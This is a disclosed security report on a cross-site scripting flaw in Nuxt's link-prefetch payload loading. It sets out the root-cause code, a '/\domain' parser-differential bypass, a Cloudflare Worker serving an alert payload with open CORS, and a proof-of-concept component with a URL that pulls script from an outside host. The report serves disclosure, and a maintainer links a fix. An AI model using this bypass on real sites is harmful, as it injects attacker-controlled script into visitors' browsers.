Link Preload XSS in nuxt/framework
Reported on
Oct 27th 2022
Description
Link preloads do not effectively confirm if the requested link is external.
Parser differentials can be used to bypass existing external URL check.
Root Cause
payload.client.ts
contains the following code on link prefetch:
nuxtApp.hooks.hook('link:prefetch', (url) =>
{
if (!parseURL(url).protocol) {
return loadPayload(url)
}
})
The loadPayload
function calls _getPayloadURL
on the URL, transforming the URL:
function _getPayloadURL (url: string, opts: LoadPayloadOptions = {}) {
const parsed = parseURL(url)
if (parsed.search) {
throw new Error('Payload URL cannot contain search params: ' + url)
}
const hash = opts.hash || (opts.fresh ? Date.now() : '')
return joinURL(useRuntimeConfig().app.baseURL, parsed.pathname, hash ? `_payload.${hash}.js` : '_payload.js')
}
Finally, the URL is loaded in _importPayload
.
async function _importPayload (payloadURL: string) {
if (process.server) { return null }
const res = await import(/* webpackIgnore: true */ /* @vite-ignore */ payloadURL).catch((err) => {
console.warn('[nuxt] Cannot load payload ', payloadURL, err)
})
return res?.default || null
}
By using a URL such as /\mydomain.com
we can have a URL with no protocol or search params that the browser will interpret as http://mydomain.com/_payload.js?import=
There are likely other parser differentials that would lead to XSS. These can be browser dependant.
Another similar exploit is possible when the link is clicked:
// Load payload after middleware & once final route is resolved
useRouter().beforeResolve(async (to, from) => {
if (to.path === from.path) { return }
const payload = await loadPayload(to.path)
if (!payload) { return }
Object.assign(nuxtApp.payload.data, payload.data)
})
This version has no protocol check, however beforeResolve
is only called on same page navigations, this is also fooled by the given example.
Exploitation
This vulnerability currently only exists on prerendered sites but there seem to be plans to have this feature on all modes.
Requirements:
NuxtLink
component with user supplied input within thehref
orto
props- Link must not have prefetch disabled
- Must be running on a prerendered site (nuxi generate)
- Payload extraction must be enabled (default true)
- Connection must be "fast" (not on 2g).
First, set up a server to respond with a small javascript payload and a Access-Control-Allow-Origin: *
header.
Cloudflare Worker Example
export interface Env {}
export default {
async fetch(
request: Request,
env: Env,
ctx: ExecutionContext
): Promise<Response>
{
const r = new Response("alert('xss!')")
r.headers.set('Content-Type', "application/javascript")
r.headers.set('Access-Control-Allow-Origin', "*")
return r;
},
};
Next, create a link pointing to your site with the prefix /\
. E.g /\mysite.com
.
XSS will trigger when the link is observed by the browser.
Proof of concept
<template>
<div>
<NuxtLink :to="r.query.u">Your Link Here</NuxtLink>
</div>
</template>
<script setup lang="ts">
const r = useRoute() as any;
</script>
Navigate to URL: http://site/u?=/\io.bryces.io
Impact
This vulnerability only impacts static sites, meaning there is a fairly low likelihood that this vulnerability could occur. However there appear to be future plans to expand this feature to other modes where there would be far more impact.
Risk can be mitigated using a strict CSP.
Made a slight mistake in my report, while this vulnerability exists in RC12 the bypass is not required as the referenced protocol check does not exist (in this version).
In the soon to be released RC13 the protocol check does exist. The bypass works and can trigger the vulnerability.
However, given as RC13 is currently a draft I will not update the report's affected version until it is released for the sake of accuracy.
Made https://github.com/nuxt/framework/pull/8675 to resolve this in the lowest level utility. Thanks for trough issue report as always <3